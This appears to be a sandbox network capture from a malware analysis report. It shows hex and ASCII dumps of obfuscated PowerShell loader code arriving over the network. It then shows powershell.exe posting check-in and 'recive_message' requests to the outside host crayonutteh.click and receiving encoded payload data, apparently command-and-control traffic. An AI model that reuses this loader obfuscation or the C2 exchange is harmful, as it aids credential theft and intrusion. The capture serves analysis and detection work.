2024-12-21 18:23:04 UTC	1369	IN	Data Raw: 52 31 37 58 76 4b 47 58 4e 4a 44 39 70 46 55 4d 73 6b 33 42 74 62 50 39 42 43 7a 4e 39 55 50 76 73 61 72 4d 6d 7a 4a 34 55 6b 78 6c 42 77 49 65 68 4a 39 68 44 4d 44 4c 37 58 50 38 65 32 67 37 37 4b 51 71 53 4b 67 38 4c 39 46 68 61 74 31 32 32 36 41 67 30 42 52 6d 43 41 59 69 31 78 55 72 59 41 68 77 31 75 49 6e 39 6c 51 67 47 57 51 70 69 30 6b 4c 33 42 69 61 30 53 66 78 58 5a 57 33 31 74 6e 57 6a 57 79 58 45 65 76 4f 62 74 63 37 5a 50 54 39 45 50 46 46 72 36 76 49 43 6f 77 6e 66 66 37 34 4f 31 55 79 33 70 6b 78 69 68 36 45 6a 6f 6c 32 52 56 36 37 79 31 75 57 43 45 49 39 55 4f 33 79 69 7a 30 71 69 4d 47 34 79 58 70 72 43 7a 34 6c 4c 6b 61 69 4d 62 64 33 63 53 61 33 6d 7a 76 6e 4c 4f 32 35 46 4c 4b 35 50 5a 35 79 37 6e 33 32 56 64 45 61 65 66 78 57 70 4e 64 Data Ascii: R17XvKGXNJD9pFUMsk3BtbP9BCzN9UPvsarMmzJ4UkxlBwIehJ9hDMDL7XP8e2g77KQqSKg8L9Fhat1226Ag0BRmCAYi1xUrYAhw1uIn9lQgGWQpi0kL3Bia0SfxXZW31tnWjWyXEevObtc7ZPT9EPFFr6vICownff74O1Uy3pkxih6Ejol2RV67y1uWCEI9UO3yiz0qiMG4yXprCz4lLkaiMbd3cSa3mzvnLO25FLK5PZ5y7n32VdEaefxWpNd
2024-12-21 18:23:04 UTC	1369	IN	Data Raw: 52 47 41 62 46 6f 47 75 20 2d 6e 65 20 28 28 28 31 32 2b 32 37 2b 31 39 29 2b 28 33 33 2a 31 2a 32 34 29 2d 28 33 38 2d 32 2d 32 32 2a 28 39 2b 39 2b 31 37 29 29 2d 34 2a 36 2d 31 37 2d 28 31 35 33 33 29 29 29 3b 20 24 57 52 47 41 62 46 6f 47 75 2d 2d 29 7b 0d 0a 24 6f 65 46 58 59 57 65 20 3d 20 35 39 37 0d 0a 24 7a 4f 43 4d 6a 75 6a 64 70 73 46 20 3d 20 24 51 75 76 6d 4c 78 6b 49 68 63 54 0d 0a 24 55 44 4d 43 57 20 3d 20 24 4c 54 68 4e 53 4b 72 45 55 58 42 0d 0a 24 65 46 43 4f 71 78 6a 77 53 64 61 20 3d 20 28 28 28 32 30 2b 32 33 2d 28 24 55 72 44 6b 52 57 4a 47 6c 4d 76 53 48 2d 31 32 2d 28 24 55 44 4d 43 57 2d 31 2d 28 24 55 72 44 6b 52 57 4a 47 6c 4d 76 53 48 2d 32 38 2d 39 29 29 29 2d 24 55 73 66 6b 4f 71 50 4a 54 4e 2d 34 36 2b 34 33 29 29 29 0d 0a Data Ascii: RGAbFoGu -ne (((12+27+19)+(33124)-(38-2-22(9+9+17))-46-17-(1533))); $WRGAbFoGu--){$oeFXYWe = 597$zOCMjujdpsF = $QuvmLxkIhcT$UDMCW = $LThNSKrEUXB$eFCOqxjwSda = (((20+23-($UrDkRWJGlMvSH-12-($UDMCW-1-($UrDkRWJGlMvSH-28-9)))-$UsfkOqPJTN-46+43)))
2024-12-21 18:23:04 UTC	1369	IN	Data Raw: 35 32 39 0d 0a 24 47 52 6b 69 6d 44 7a 46 64 20 3d 20 24 4d 58 4b 62 63 4c 56 59 53 70 57 0d 0a 24 74 58 50 4b 4b 75 6c 66 4f 6e 5a 20 3d 20 24 6a 72 4f 67 46 55 56 49 44 0d 0a 24 41 73 4d 6b 7a 51 51 57 62 43 6a 63 68 20 3d 20 24 4d 58 4b 62 63 4c 56 59 53 70 57 0d 0a 24 45 53 6b 57 51 6c 4e 6b 76 55 20 3d 20 34 39 32 0d 0a 24 44 6b 45 69 58 4c 75 79 6b 47 70 20 3d 20 24 6f 72 6a 6d 50 45 4e 0d 0a 24 73 63 64 76 4e 72 52 20 3d 20 24 44 74 77 45 68 47 4f 77 69 6e 0d 0a 24 78 72 68 4e 7a 20 3d 20 24 6a 72 4f 67 46 55 56 49 44 0d 0a 24 55 68 58 66 59 20 3d 20 35 35 39 0d 0a 24 4a 79 65 53 41 46 71 64 66 7a 77 72 4b 43 20 3d 20 24 6f 72 6a 6d 50 45 4e 0d 0a 24 49 79 62 43 44 68 47 4d 4a 54 20 3d 20 36 0d 0a 24 6e 49 41 73 49 45 20 3d 20 28 28 28 28 28 31 39 Data Ascii: 529$GRkimDzFd = $MXKbcLVYSpW$tXPKKulfOnZ = $jrOgFUVID$AsMkzQQWbCjch = $MXKbcLVYSpW$ESkWQlNkvU = 492$DkEiXLuykGp = $orjmPEN$scdvNrR = $DtwEhGOwin$xrhNz = $jrOgFUVID$UhXfY = 559$JyeSAFqdfzwrKC = $orjmPEN$IybCDhGMJT = 6$nIAsIE = (((((19
2024-12-21 18:23:04 UTC	1369	IN	Data Raw: 2d 33 30 2b 33 36 29 2d 28 38 35 34 29 29 0d 0a 24 71 46 54 4a 6b 47 50 76 67 71 6b 5a 65 79 20 3d 20 28 28 24 72 73 42 71 6e 73 4c 6b 6f 66 2b 31 35 2b 28 33 32 2d 31 33 2d 24 55 44 4d 43 57 29 29 2b 24 79 53 6f 70 4b 57 56 7a 52 2d 38 2b 32 38 2b 24 72 7a 54 47 4b 63 61 50 49 73 59 2b 32 35 2d 28 39 2b 32 35 2d 35 29 2d 28 37 31 39 29 29 0d 0a 24 43 65 6a 74 4c 74 49 6d 78 49 61 43 20 3d 20 28 28 28 28 24 45 53 6b 57 51 6c 4e 6b 76 55 2d 31 2d 24 72 73 42 71 6e 73 4c 6b 6f 66 29 2d 28 24 6f 65 46 58 59 57 65 2d 34 39 2b 32 31 2b 32 31 2d 32 32 2b 24 4a 79 65 53 41 46 71 64 66 7a 77 72 4b 43 2d 28 28 24 51 75 76 6d 4c 78 6b 49 68 63 54 2d 34 32 2d 31 36 29 29 29 29 29 2b 28 35 39 37 29 29 0d 0a 24 70 4c 4c 59 4b 6a 77 78 43 64 7a 20 3d 20 28 28 28 28 31 Data Ascii: -30+36)-(854))$qFTJkGPvgqkZey = (($rsBqnsLkof+15+(32-13-$UDMCW))+$ySopKWVzR-8+28+$rzTGKcaPIsY+25-(9+25-5)-(719))$CejtLtImxIaC = (((($ESkWQlNkvU-1-$rsBqnsLkof)-($oeFXYWe-49+21+21-22+$JyeSAFqdfzwrKC-(($QuvmLxkIhcT-42-16)))))+(597))$pLLYKjwxCdz = ((((1
2024-12-21 18:23:04 UTC	1369	IN	Data Raw: 45 67 52 6f 2d 28 24 65 7a 4b 62 75 52 54 4a 79 41 57 66 69 2d 33 39 2b 32 37 29 2d 24 65 46 43 4f 71 78 6a 77 53 64 61 2b 33 2d 24 45 53 6b 57 51 6c 4e 6b 76 55 2d 28 28 24 4c 54 68 4e 53 4b 72 45 55 58 42 2b 32 37 2b 33 29 29 2b 28 31 33 35 33 29 29 0d 0a 24 65 4c 63 61 57 64 63 6b 65 68 59 20 3d 20 28 28 28 28 32 34 2d 31 36 2b 24 6e 6d 45 67 52 6f 29 29 29 2b 24 65 46 43 4f 71 78 6a 77 53 64 61 2b 34 34 2d 32 35 2b 28 28 34 38 2d 32 34 2b 28 24 5a 79 51 67 67 2d 33 39 2b 32 37 29 29 29 2b 31 33 2b 39 2b 31 31 2b 28 31 35 39 33 29 29 0d 0a 24 71 7a 53 64 46 6f 65 4a 77 43 54 20 3d 20 28 28 28 28 31 38 2d 31 30 2b 32 29 2b 24 51 43 68 78 65 54 77 54 70 78 45 43 66 2b 36 2b 31 31 29 29 2d 24 41 4a 56 43 55 74 72 68 72 50 65 2d 34 35 2b 24 4c 42 43 54 7a Data Ascii: EgRo-($ezKbuRTJyAWfi-39+27)-$eFCOqxjwSda+3-$ESkWQlNkvU-(($LThNSKrEUXB+27+3))+(1353))$eLcaWdckehY = ((((24-16+$nmEgRo)))+$eFCOqxjwSda+44-25+((48-24+($ZyQgg-39+27)))+13+9+11+(1593))$qzSdFoeJwCT = ((((18-10+2)+$QChxeTwTpxECf+6+11))-$AJVCUtrhrPe-45+$LBCTz
2024-12-21 18:23:04 UTC	1369	IN	Data Raw: 6b 4b 54 74 57 59 51 53 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 6e 66 73 6a 46 6f 6b 64 5a 70 4d 74 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 76 71 6f 68 4a 53 43 73 61 56 4d 6f 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 62 6a 7a 4b 79 69 74 6a 44 51 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 47 76 50 6f 66 78 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 71 46 54 4a 6b 47 50 76 67 71 6b 5a 65 79 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 43 65 6a 74 4c 74 49 6d 78 49 61 43 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 70 4c 4c 59 4b 6a 77 78 43 64 7a 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 4f 45 72 75 67 76 4b 41 6d 45 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 53 76 4a 78 41 43 4b 7a 74 42 56 50 52 45 20 2b 20 5b 63 68 61 72 5d 5b 69 Data Ascii: kKTtWYQS + [char][int]$nfsjFokdZpMt + [char][int]$vqohJSCsaVMo + [char][int]$bjzKyitjDQ + [char][int]$GvPofx + [char][int]$qFTJkGPvgqkZey + [char][int]$CejtLtImxIaC + [char][int]$pLLYKjwxCdz + [char][int]$OErugvKAmE + [char][int]$SvJxACKztBVPRE + [char][i
2024-12-21 18:23:04 UTC	1369	IN	Data Raw: 57 65 20 3d 20 35 39 37 0d 0a 24 7a 4f 43 4d 6a 75 6a 64 70 73 46 20 3d 20 24 51 75 76 6d 4c 78 6b 49 68 63 54 0d 0a 24 55 44 4d 43 57 20 3d 20 24 4c 54 68 4e 53 4b 72 45 55 58 42 0d 0a 24 65 46 43 4f 71 78 6a 77 53 64 61 20 3d 20 28 28 28 32 30 2b 32 33 2d 28 24 55 72 44 6b 52 57 4a 47 6c 4d 76 53 48 2d 31 32 2d 28 24 55 44 4d 43 57 2d 31 2d 28 24 55 72 44 6b 52 57 4a 47 6c 4d 76 53 48 2d 32 38 2d 39 29 29 29 2d 24 55 73 66 6b 4f 71 50 4a 54 4e 2d 34 36 2b 34 33 29 29 29 0d 0a 73 77 69 74 63 68 28 28 33 2b 31 38 2b 24 4c 42 43 54 7a 6c 63 53 77 76 72 53 77 29 2d 28 33 34 2d 32 36 2d 24 7a 4f 43 4d 6a 75 6a 64 70 73 46 29 2d 28 33 37 2d 34 30 2d 34 29 29 7b 0d 0a 28 28 28 28 24 65 46 43 4f 71 78 6a 77 53 64 61 2d 31 36 2d 24 51 43 68 78 65 54 77 54 70 78 Data Ascii: We = 597$zOCMjujdpsF = $QuvmLxkIhcT$UDMCW = $LThNSKrEUXB$eFCOqxjwSda = (((20+23-($UrDkRWJGlMvSH-12-($UDMCW-1-($UrDkRWJGlMvSH-28-9)))-$UsfkOqPJTN-46+43)))switch((3+18+$LBCTzlcSwvrSw)-(34-26-$zOCMjujdpsF)-(37-40-4)){(((($eFCOqxjwSda-16-$QChxeTwTpx
2024-12-21 18:23:04 UTC	201	IN	Data Raw: 57 51 6c 4e 6b 76 55 20 3d 20 34 39 32 0d 0a 24 44 6b 45 69 58 4c 75 79 6b 47 70 20 3d 20 24 6f 72 6a 6d 50 45 4e 0d 0a 24 73 63 64 76 4e 72 52 20 3d 20 24 44 74 77 45 68 47 4f 77 69 6e 0d 0a 24 78 72 68 4e 7a 20 3d 20 24 6a 72 4f 67 46 55 56 49 44 0d 0a 24 55 68 58 66 59 20 3d 20 35 35 39 0d 0a 24 4a 79 65 53 41 46 71 64 66 7a 77 72 4b 43 20 3d 20 24 6f 72 6a 6d 50 45 4e 0d 0a 24 49 79 62 43 44 68 47 4d 4a 54 20 3d 20 36 0d 0a 24 6e 49 41 73 49 45 20 3d 20 28 28 28 28 28 31 39 2a 32 33 2a 33 35 29 29 2d 31 36 2d 32 2b 28 33 38 2b 32 33 2b 35 29 29 2d 28 31 34 38 37 39 29 29 29 0d 0a 24 6e 6d 45 Data Ascii: WQlNkvU = 492$DkEiXLuykGp = $orjmPEN$scdvNrR = $DtwEhGOwin$xrhNz = $jrOgFUVID$UhXfY = 559$JyeSAFqdfzwrKC = $orjmPEN$IybCDhGMJT = 6$nIAsIE = (((((192335))-16-2+(38+23+5))-(14879)))$nmE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49744	104.21.44.253	443	7864	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 18:24:25 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: crayonutteh.click
2024-12-21 18:24:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-21 18:24:26 UTC	1138	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 18:24:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5jpa7ucc5sgtqllofqvb27v4vh; expires=Wed, 16 Apr 2025 12:11:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VYDDJwfY%2FcHQqvyNMVKf%2BVIg3dWL8h3tsDkVTq8hf4C5WVPOLMMD6jmUd%2Fv9c5ipmuarSk3StQENCuBwMA25ID8nuHZM%2BP5bXTbzlN%2BTNQvLJkqGlWBwH0s9LjzB598EWCGFYQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f59e8b15810a534-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=129814&min_rtt=129751&rtt_var=27470&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=908&delivery_rate=29472&cwnd=252&unsent_bytes=0&cid=a3b1a876f21f17d2&ts=1034&x=0"
2024-12-21 18:24:26 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-21 18:24:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49745	104.21.44.253	443	7864	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 18:24:26 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: crayonutteh.click
2024-12-21 18:24:26 UTC	77	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 4a 61 4e 4c 6a 2d 2d 72 65 32 26 6a 3d 32 63 37 62 33 34 39 62 38 63 66 33 30 32 30 33 64 39 35 65 61 66 38 66 32 64 38 66 34 37 31 30 Data Ascii: act=recive_message&ver=4.0&lid=yJaNLj--re2&j=2c7b349b8cf30203d95eaf8f2d8f4710
2024-12-21 18:24:27 UTC	1129	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 18:24:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tmq27bnm84gvut3449v7auhavh; expires=Wed, 16 Apr 2025 12:11:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zNsT%2FNFxUo2Z6unE2ZUAYsdrEJlo68SzvD3j790MO07bEj6O3BuwEs4D7DI1yqro1UGWcLI78MEAfIvJrDmUu5gvHSMOQIx11BqYQdqrLQ7dUsf5vcYVskG6qfhS4yczEVPEIA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f59e8b98a2e8754-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=129261&min_rtt=129138&rtt_var=27440&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=978&delivery_rate=29559&cwnd=251&unsent_bytes=0&cid=b0ec093679621e53&ts=703&x=0"
2024-12-21 18:24:27 UTC	240	IN	Data Raw: 31 63 62 37 0d 0a 56 4e 34 52 50 50 70 38 6b 35 33 31 6e 2f 79 41 46 55 37 35 6a 42 59 67 65 6b 43 4c 35 36 45 4b 57 4e 4e 41 46 2b 66 57 4b 6d 4d 76 2f 47 63 65 77 45 69 2f 76 34 62 36 33 72 70 68 50 49 7a 70 4f 67 49 62 4a 4b 6e 64 78 32 73 30 6f 43 55 37 78 61 42 48 51 57 36 34 63 46 43 4a 47 62 2b 2f 6b 4f 66 65 75 6b 34 31 32 2b 6c 34 41 6b 42 69 37 6f 33 44 61 7a 53 78 49 58 79 49 70 6b 59 41 50 4c 4a 32 56 4a 38 66 39 2f 79 5a 38 70 6e 6c 63 43 2b 54 34 6e 39 4e 45 69 32 70 79 34 4e 76 49 76 46 36 4e 61 71 7a 58 67 49 5a 76 32 4a 58 32 41 47 2f 35 74 66 36 6b 71 49 76 62 4a 6a 70 64 45 77 63 4a 4f 43 50 79 57 49 38 73 43 52 39 6c 37 39 4d 43 7a 79 38 64 56 57 56 46 75 50 78 6b 2f 57 53 34 33 6f 76 32 36 Data Ascii: 1cb7VN4RPPp8k531n/yAFU75jBYgekCL56EKWNNAF+fWKmMv/GcewEi/v4b63rphPIzpOgIbJKndx2s0oCU7xaBHQW64cFCJGb+/kOfeuk412+l4AkBi7o3DazSxIXyIpkYAPLJ2VJ8f9/yZ8pnlcC+T4n9NEi2py4NvIvF6NaqzXgIZv2JX2AG/5tf6kqIvbJjpdEwcJOCPyWI8sCR9l79MCzy8dVWVFuPxk/WS43ov26
2024-12-21 18:24:27 UTC	1369	IN	Data Raw: 41 30 52 51 42 69 73 63 57 51 57 6a 6d 67 4d 32 43 49 70 45 35 42 4b 66 4a 71 48 70 38 53 73 61 66 58 39 5a 4c 73 63 69 2b 55 36 58 56 43 43 69 33 70 68 73 74 67 50 72 73 74 65 6f 71 36 51 67 59 2b 74 58 52 52 6e 78 62 33 38 4a 53 39 30 4b 4a 77 4e 4e 75 32 4e 47 49 49 49 65 71 52 7a 6e 6c 36 72 6d 78 73 78 62 4e 45 51 57 37 38 64 56 43 5a 45 2f 48 74 6e 2f 61 56 35 32 55 6e 6b 75 4e 35 51 68 55 6f 35 6f 62 44 62 7a 43 37 4c 58 2b 42 75 55 55 48 4e 72 77 7a 45 4e 67 5a 36 62 2f 50 76 62 33 6e 5a 79 75 58 2b 44 5a 34 57 44 32 6e 6e 49 4e 76 4e 76 46 36 4e 59 32 78 53 77 49 39 73 33 42 57 6b 77 7a 78 37 5a 48 77 6d 2f 42 78 4b 5a 58 6b 64 31 41 53 4c 4f 2b 47 79 6d 4d 7a 74 43 56 78 78 66 6f 49 42 69 37 38 4b 78 36 35 45 2f 72 7a 6e 65 71 65 6f 6d 68 69 67 Data Ascii: A0RQBiscWQWjmgM2CIpE5BKfJqHp8SsafX9ZLsci+U6XVCCi3phstgPrsteoq6QgY+tXRRnxb38JS90KJwNNu2NGIIIeqRznl6rmxsxbNEQW78dVCZE/Htn/aV52UnkuN5QhUo5obDbzC7LX+BuUUHNrwzENgZ6b/Pvb3nZyuX+DZ4WD2nnINvNvF6NY2xSwI9s3BWkwzx7ZHwm/BxKZXkd1ASLO+GymMztCVxxfoIBi78Kx65E/rzneqeomhig
2024-12-21 18:24:27 UTC	1369	IN	Data Raw: 55 4b 4f 2b 4b 7a 6d 52 36 2f 32 4a 79 6e 66 51 51 51 52 79 2f 5a 31 32 53 58 4d 54 38 6d 66 4f 5a 39 44 63 7a 31 66 63 30 52 52 52 69 73 63 58 4f 61 54 4b 33 4d 48 71 49 74 30 59 50 4f 62 6c 38 56 70 67 65 2f 50 71 54 39 70 58 68 65 69 69 4a 35 48 52 4b 48 53 50 6a 6a 34 4d 6d 65 72 59 36 4e 64 33 30 65 52 59 39 2f 6b 5a 64 6c 68 44 32 36 64 66 69 30 50 73 33 4b 35 65 75 4c 41 49 56 4b 75 79 41 7a 47 6b 77 76 79 64 2f 69 62 78 47 41 69 53 7a 64 31 36 55 46 76 76 79 6d 66 6d 57 36 33 77 6e 6e 65 35 31 53 46 68 73 71 59 4c 62 4b 47 4c 78 46 6e 4b 4a 75 55 64 44 41 37 39 39 55 4a 38 49 73 65 44 5a 35 4e 37 6c 65 32 7a 44 72 6e 68 4c 47 43 6e 6a 67 63 4e 76 4e 37 51 68 63 6f 61 35 54 77 73 34 75 33 64 53 6b 52 50 33 2f 35 44 35 6d 2f 42 79 4a 5a 66 69 4e 41 Data Ascii: UKO+KzmR6/2JynfQQQRy/Z12SXMT8mfOZ9Dcz1fc0RRRiscXOaTK3MHqIt0YPObl8Vpge/PqT9pXheiiJ5HRKHSPjj4MmerY6Nd30eRY9/kZdlhD26dfi0Ps3K5euLAIVKuyAzGkwvyd/ibxGAiSzd16UFvvymfmW63wnne51SFhsqYLbKGLxFnKJuUdDA799UJ8IseDZ5N7le2zDrnhLGCnjgcNvN7Qhcoa5Tws4u3dSkRP3/5D5m/ByJZfiNA
2024-12-21 18:24:27 UTC	1369	IN	Data Raw: 6d 6f 31 78 65 72 59 75 4e 64 33 30 51 51 67 6b 73 6e 31 58 6c 52 6a 35 2b 4a 6e 77 6c 65 52 38 4b 35 7a 6f 65 55 6f 56 4a 2b 71 45 78 32 49 6f 73 69 6c 2f 69 4c 34 49 54 33 61 37 61 78 37 41 58 74 62 7a 76 75 32 46 38 47 46 73 68 4b 42 74 41 68 38 75 71 64 32 44 61 7a 57 34 4c 58 32 4e 75 30 63 46 4f 4c 70 31 55 35 30 52 2b 2b 32 66 38 35 50 70 65 43 65 4a 37 6e 6c 47 46 43 62 68 6a 73 6b 6f 64 50 45 6c 62 63 58 73 43 44 51 37 73 33 4e 64 6a 6c 37 75 73 59 36 39 6d 65 34 33 64 4e 76 69 65 6b 49 58 4c 75 57 4f 79 32 6b 32 76 79 56 77 6a 4c 78 41 45 7a 65 34 65 31 2b 57 45 66 44 37 6b 76 69 61 35 58 4d 71 6c 4b 34 36 41 68 38 36 71 64 32 44 52 78 32 45 59 46 53 2f 39 46 64 50 4c 2f 78 30 55 74 68 47 73 66 4f 55 38 5a 62 74 63 53 57 58 35 48 31 4a 46 43 6e Data Ascii: mo1xerYuNd30QQgksn1XlRj5+JnwleR8K5zoeUoVJ+qEx2Iosil/iL4IT3a7ax7AXtbzvu2F8GFshKBtAh8uqd2DazW4LX2Nu0cFOLp1U50R++2f85PpeCeJ7nlGFCbhjskodPElbcXsCDQ7s3Ndjl7usY69me43dNviekIXLuWOy2k2vyVwjLxAEze4e1+WEfD7kvia5XMqlK46Ah86qd2DRx2EYFS/9FdPL/x0UthGsfOU8ZbtcSWX5H1JFCn
2024-12-21 18:24:27 UTC	1369	IN	Data Raw: 44 2b 2b 49 33 53 44 70 6b 38 49 4a 4c 4a 2b 55 5a 41 57 2b 50 36 54 2b 4a 50 6b 65 79 61 61 36 58 70 4d 45 47 4b 6e 78 63 52 77 65 75 6c 69 56 4a 57 76 57 68 63 37 6e 58 35 52 32 41 47 2f 35 74 66 36 6b 71 49 76 62 4a 4c 38 63 45 38 4b 4b 2b 36 4c 7a 47 73 6f 73 43 39 2b 6c 37 4e 48 42 54 47 77 64 56 47 65 48 2f 54 31 6d 2f 71 62 36 58 67 67 32 36 41 30 52 51 42 69 73 63 58 74 59 79 6d 6d 49 58 75 4f 6f 6c 4e 42 4b 66 4a 71 48 70 38 53 73 61 66 58 2f 70 58 70 63 79 79 58 37 6e 42 50 47 44 44 6d 67 73 52 68 4d 61 4d 6f 63 6f 4b 2f 51 41 6f 35 75 6d 46 53 6c 67 7a 30 37 59 57 39 30 4b 4a 77 4e 4e 75 32 4e 48 51 66 4d 76 6d 47 67 56 6b 73 73 6a 52 2b 69 4c 67 49 48 6e 69 6c 4d 31 6d 55 58 71 6d 2f 6b 66 4b 58 34 58 67 74 6b 75 4a 35 52 78 45 6e 36 49 50 48 Data Ascii: D++I3SDpk8IJLJ+UZAW+P6T+JPkeyaa6XpMEGKnxcRweuliVJWvWhc7nX5R2AG/5tf6kqIvbJL8cE8KK+6LzGsosC9+l7NHBTGwdVGeH/T1m/qb6Xgg26A0RQBiscXtYymmIXuOolNBKfJqHp8SsafX/pXpcyyX7nBPGDDmgsRhMaMocoK/QAo5umFSlgz07YW90KJwNNu2NHQfMvmGgVkssjR+iLgIHnilM1mUXqm/kfKX4XgtkuJ5RxEn6IPH
2024-12-21 18:24:27 UTC	1369	IN	Data Raw: 46 75 78 61 73 47 47 48 61 37 66 78 37 41 58 76 4c 34 6c 50 79 55 36 33 73 6a 6e 4f 70 6d 53 42 38 77 36 49 54 49 5a 54 61 78 4c 33 69 50 74 55 45 4d 4f 72 46 30 57 5a 63 62 73 62 48 58 2b 6f 61 69 4c 32 79 36 34 33 39 4f 51 33 69 70 6d 6f 31 78 65 72 59 75 4e 64 33 30 53 41 73 7a 74 6e 35 64 6c 78 33 6a 2f 70 48 76 6e 75 39 39 50 70 48 6c 63 55 38 56 4c 2b 71 44 78 57 4d 32 6f 79 74 31 68 72 38 49 54 33 61 37 61 78 37 41 58 74 4c 6f 67 66 65 5a 37 6d 45 6e 6d 75 31 69 54 77 68 69 70 38 58 53 62 79 76 78 65 6d 4f 56 6f 30 38 65 65 4b 55 7a 57 5a 52 65 71 62 2b 52 39 4a 6a 6c 63 53 4b 4a 36 33 4a 4e 46 79 76 67 67 63 74 72 4f 72 55 6d 63 6f 43 33 52 41 6f 78 76 33 78 61 6b 52 44 34 38 4e 65 7a 33 75 56 76 62 4d 4f 75 56 56 6b 62 4c 75 54 46 33 43 59 6a 38 Data Ascii: FuxasGGHa7fx7AXvL4lPyU63sjnOpmSB8w6ITIZTaxL3iPtUEMOrF0WZcbsbHX+oaiL2y6439OQ3ipmo1xerYuNd30SAsztn5dlx3j/pHvnu99PpHlcU8VL+qDxWM2oyt1hr8IT3a7ax7AXtLogfeZ7mEnmu1iTwhip8XSbyvxemOVo08eeKUzWZReqb+R9JjlcSKJ63JNFyvggctrOrUmcoC3RAoxv3xakRD48Nez3uVvbMOuVVkbLuTF3CYj8
2024-12-21 18:24:27 UTC	274	IN	Data Raw: 7a 55 45 46 75 2f 46 4e 56 6a 68 76 32 36 64 58 49 6e 65 78 35 4b 34 32 75 61 33 31 57 59 75 6a 46 6d 31 45 6a 38 54 51 31 33 65 59 47 51 53 54 38 4b 78 37 66 48 65 50 74 6b 66 36 49 34 54 41 53 70 63 6c 69 53 42 38 79 37 70 4c 4d 4b 48 54 78 4c 54 58 64 6a 51 67 49 4d 61 64 69 53 4a 55 4f 39 72 2b 6f 73 39 37 36 4e 33 54 62 32 33 64 4d 46 69 58 2f 6c 49 35 50 4c 4c 73 6c 5a 59 4b 6a 52 30 46 34 2f 48 55 65 77 45 32 2f 76 35 50 73 33 72 6f 6e 66 73 43 37 4a 78 56 49 63 50 62 4c 32 69 67 73 38 58 6f 6e 79 2f 52 61 51 57 37 38 4e 46 32 4b 44 50 66 38 67 66 37 5a 33 45 6b 4d 6b 4f 4a 33 54 68 6b 6c 71 63 75 44 5a 33 72 70 47 7a 57 47 70 6c 70 4f 4a 36 70 2b 54 70 39 53 2b 65 36 61 38 64 36 73 4e 32 43 66 35 58 68 48 48 7a 4b 6d 6c 39 4e 6a 4e 71 64 75 63 5a Data Ascii: zUEFu/FNVjhv26dXInex5K42ua31WYujFm1Ej8TQ13eYGQST8Kx7fHePtkf6I4TASpcliSB8y7pLMKHTxLTXdjQgIMadiSJUO9r+os976N3Tb23dMFiX/lI5PLLslZYKjR0F4/HUewE2/v5Ps3ronfsC7JxVIcPbL2igs8Xony/RaQW78NF2KDPf8gf7Z3EkMkOJ3ThklqcuDZ3rpGzWGplpOJ6p+Tp9S+e6a8d6sN2Cf5XhHHzKml9NjNqducZ
